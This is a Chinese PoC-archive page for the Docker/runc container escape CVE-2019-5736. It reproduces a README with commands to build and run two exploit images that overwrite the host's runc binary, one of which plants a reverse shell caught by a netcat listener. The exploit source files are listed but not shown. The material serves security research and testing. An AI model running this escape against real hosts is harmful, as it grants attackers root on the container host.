POC详情: ad4c1d269c53d4f121099b0a65a68f3ead077417

来源
关联漏洞
标题: Docker 操作系统命令注入漏洞 (CVE-2019-5736)
描述:Docker是美国Docker公司的一款开源的应用容器引擎。该产品支持在Linux系统上创建一个容器(轻量级虚拟机)并部署和运行应用程序,以及通过配置文件实现应用程序的自动化安装、部署和升级。 Docker 18.09.2之前版本和其他产品中的runc 1.0-rc6及之前版本中存在安全漏洞,该漏洞源于程序没有正确地处理文件描述符。攻击者可利用该漏洞覆盖主机runc的二进制文件并以root权限执行命令。
介绍

<h2 align="center">RunC-CVE-2019-5736</h2>

<p align="center">
<a href="#"><img src="https://img.shields.io/badge/BBR-DevOps-blueviolet" alt="Build Status"></a>
<a href="https://www.idealhax.blogspot.com"><img src="https://img.shields.io/badge/BBR-Blog-blue" alt="Build Status"></a>
<a href="https://www.linkedin.com/in/bbr/"><img src="https://img.shields.io/badge/BBR-LinkedIn-orange" alt="Build Status"></a>
<a href="https://twitter.com/RMBRathnayaka"><img src="https://img.shields.io/badge/BBR-Twitter-ff69b4" alt="Build Status"></a>
<a href="https://www.facebook.com/95bbr"><img src="https://img.shields.io/badge/BBR-FB-success" alt="Build Status"></a>
</p>

---
**Video**: https://bit.ly/2WqvILb

**Blog Post**: <a href="https://idealhax.blogspot.com/2020/05/breaking-out-of-docker-via-runc.html">[www.idealhax.blogspot.com/2020/05/breaking-out-of-docker-via-runc.html]</a>

Here, I like to mention that the original developer of this exploit is Yuval Avrahami at Twistlock Labs.

## Running the POCs
Note that running the POCs will overwrite the runC binary on the host. 

It is highly recommened that you create a copy of your runC binary (normally at /usr/sbin/runc) before running one of the POCs.

Clone the repository:
```sh
$ git clone git@github.com:BBRathnayaka/RunC-CVE-2019-5736.git
```

### Exec POC
Overwrites runc with a simple program that prints a string.

Running the exec POC:
```sh
$ docker build -t cve-2019-5736:exec_POC ./RunC-CVE-2019-5736/exec_POC
$ docker run -d --rm --name poc_ctr cve-2019-5736:exec_POC
$ docker exec poc_ctr bash
```
### Malicious Image POC
Overwrites runc with a simple reverse shell bash script that connects to localhost:2345.

Listen for the reverse shell:
```sh
$ nc -nvlp 2345
```

From a different shell, run the malicious image POC:
```sh
$ docker build -t cve-2019-5736:malicious_image_POC ./RunC-CVE-2019-5736/malicious_image_POC
$ docker run --rm cve-2019-5736:malicious_image_POC
```
#### Reference
```
See [Twistlock Labs](https://www.twistlock.com/labs-blog/breaking-docker-via-runc-explaining-cve-2019-5736/ "Explaining CVE-2019-5763") for an explanation of CVE-2019-5736 and the POCs.

The malicious image POC is heavily based on [q3k’s POC](https://github.com/q3k/cve-2019-5736-poc), so all credit goes to him.
```

文件快照

[4.0K] /data/pocs/ad4c1d269c53d4f121099b0a65a68f3ead077417 ├── [4.0K] exec_POC │   ├── [ 17] bash_evil │   ├── [ 386] Dockerfile │   ├── [8.3K] new_runc │   ├── [ 225] new_runc.c │   ├── [ 13K] overwrite_runc │   ├── [3.5K] overwrite_runc.c │   └── [ 416] replace.sh ├── [ 150] exec_poc_cmd.txt ├── [4.0K] malicious_image_POC │   ├── [1.0K] Dockerfile │   ├── [ 52] new_runc │   ├── [ 13K] overwrite_runc │   ├── [2.9K] overwrite_runc.c │   └── [ 929] run_at_link.c ├── [538K] POC CVE-2019-5736.docx └── [2.2K] README.md 2 directories, 15 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。